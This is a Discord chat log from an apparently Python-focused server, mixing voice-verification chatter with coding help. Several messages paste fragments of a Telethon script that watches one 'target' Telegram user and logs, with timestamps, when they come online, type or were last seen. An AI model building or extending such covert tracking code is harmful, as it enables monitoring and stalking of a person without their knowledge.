rnd_log = open(f'{target}_randoms.txt', 'a')
print("Event from User ID : " + rnd_events + f" at {datetime.now()}. \n", file=rnd_log)
rnd_log.close()
print(f"Event from non-intersting user was saved on {target}_randoms.txt")
rnd_events = "x"
print(rnd_events)
rnd_log = open(f'{target}_randoms.txt', 'a')
print("Event from User ID : " + rnd_events + f" at {datetime.now()}. \n", file=rnd_log)
rnd_log.close()
print(str(event.get_user))
rnd_log = open(f'{target}_randoms.txt', 'a')
print("Event from User ID : " + rnd_events + f" at {datetime.now()}. \n", file=rnd_log)
rnd_log.close()```
why is my voice supressed?
Check out #voice-verification
did it thanks guys
last_seen =
print(f"{target} Was last seen at : {last_seen}")
target_file = open(f"{target}_log.txt", "a")
print(f"{target} Was last seen at : {last_seen} \n", file=target_file)
target_file.close()
time.sleep(2)
@pliant atlas University?
@glad locust i am in school
10th, that's awesome.
I don't know, maybes its because when I was in 10th I knew jack-shit about tech in general
ohh, well i am not the best but yeah i'm not the worst too
9
:incoming_envelope: :ok_hand: applied mute to @atomic zodiac until 2020-10-18 17:41 (9 minutes and 59 seconds) (reason: burst rule: sent 8 messages in 10s).
,do anyone of you guys have any experience with debian packaging?
@pliant atlas
noo, just explain how to get my damn voicceee verified
@glad locust nope, never heard of it
@vapid portal go to #voice verification and verify yourself there
last_seen =
print(f"{target} Was last seen at : {last_seen}")
target_file = open(f"{target}_log.txt", "a")
print(f"{target} Was last seen at : {last_seen} \n", file=target_file)
target_file.close()
time.sleep(2)
Session started at : 2020-10-18 17:35:00.296466
Logging in to Telegram complete.
Started listening to x.
x_full.txt for full user's details.
Creating x_log.txt file with user's details on top.
x's User ID is : x
x is correctly Offline.
Event from non-intersting user was saved on x_randoms.txt
Surely you must have realised that spamming that was a bad idea lol
@client.on(events.UserUpdate())
async def handler(event):
time.sleep(2)
if event.user_id == target_id:
if event.online:
print(f"{datetime.now()} : {target} Online...")
target_file = open(f"{target}_log.txt", "a")
print(f"{target} went Online at : {datetime.now()} \n", file=target_file)
target_file.close()
if event.typing:
print(f"{datetime.now()} : {target} typing...")
target_file = open(f"{target}_log.txt", "a")
print(f"{target} typed a message at : {datetime.now()} \n", file=target_file)
target_file.close()
else:
print(f"Event from non-intersting user was saved on {target}_randoms.txt")
x = await client(GetFullUserRequest(str(event.user_id)))
y = await x.username
print(y.stringify)
rnd_log = open(f'{target}_randoms.txt', 'a')
print(f"Event from User ID : {str(event.user_id)} at {datetime.now()}. \n", file=rnd_log)
rnd_log.close()
client.run_until_disconnected()
Your welcome @vapid portal
@pastel lance what are you trying to make,in general?
most of it is already done now after 4 days
but i still have one last thing i desire my script to have
and its the option to check last seen
@pastel lance https://core.telegram.org/constructor/userStatusOffline https://tl.telethon.dev/constructors/user_status_offline.html These seem possibly relevant.
The user's offline status.
50 messages
ezpz
now verify me
lmao
ima make a discord automation bot access my acc and send messages with an interval of 1 min in every channel
xD
for legal reasons thats a joke
thats so cool...old members of the server with a new acc cant speak now
Sure they can.
i cant
Sorry, I misread.
indeed tru tho
just go to bot spam and spam eval on snippets from 50 of ur resume projects
he runs linux
i run both windows an linux
arch btw
nope vm
lol, we'll notice
lol, we'll notice
๐
why is this new feature implemented tho?
may ik?
@somber heath
!voiceverify
ok
guess my old acc lmao
@tall latch yes
who am i? guess
thats nice i cant speak from both my accs
@woven condor how novice is novice?
just cuz my friend left the server
ah, nice
yeah like 3 months
and I still suck
and I still suck
well, much less than at first, I'm sure
๐ ๐
how many do you have left to go
aight
The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply
@cosmic lark
@amber raptor
@whole bear
lol
Ali Abdaal
A day in the life of a software engineer
"Clean Code Friday"
If you want to receive one short email from me every week, where I go through a few of the most useful things I have explored and discovered this week. Things like; favourite apps, articles, podcasts, books, coding ...
nvm i love helping people
hey if you dont mind it would be cool if you pin my verification steps message in this channel
This is a test sentence to see id I can type without lookin at my keuboard
hello
hey
Are they your fingers?
not sure
I think so though
but they might be yours
โ ๏ธ Justin Johnson Signature 3-String Shovel Guitars Available HERE: http://www.justinjohnsonlive.com/shovel-guitar.html
This track is included on "The Bootleg Series Vol. 1" NOW AVAILABLE at https://justinjohnsonstore.com
Thanks for watching & Please Hit SUBSCRIBE while you'r...
speaking of alternative instruments...
What is lemon streaming?
video
by the looks of it
The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply
This message is released by FabCode under the GPL v3, copyright 2020
@pastel trench
you need to do those steps to speak
@terse vigil same for you
hm. I've been haning in here since some time back in the server
Not the first time I found bugs with new stuff
Is still debugging Vapoursynth with Hybrid encoder
with is why I popped in here lol
Not a bug, it's 50 messages since August 25th. #changelog
oh right after i sent the DM lol
I assume to ensure it's active users then?
evidently
That's when metricity started collecting user stats
for me it's
As opposed to an even encounter?
this guy was clearly not divisible by an even integer
*divisible
lol
a number could be even, and still not divisible by a certain even integer
for instance, 8 is not divisible by 16
yet both are even
how do I get 'voice verified'?
The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply
@tall latch
@frozen jacinth magicc I'm still figuring out
aw man, I'm "not eligible" to be voice verified
@candid venture https://stackoverflow.com/questions/9623114/check-if-two-unordered-lists-are-equal/9623147
for each in (1,2,3):
if condition_a:
continue
elif condition_b:
break
else: #note indentation
pass```
@tall latch use args and kwargs
@candid venture https://www.kite.com/python/answers/how-to-download-an-image-using-requests-in-python
response = requests.get("https://i.imgur.com/ExdKOOz.png")
with open("sample_image.png", "wb") as file:
file.write(response.content)
Pastebin
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
@sullen oxide
The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply
- courtesy of FabCode
dont spam the bot
will mute u
I tried
Give sometime
between
your message
lol
understandable anti-bot measure but oof

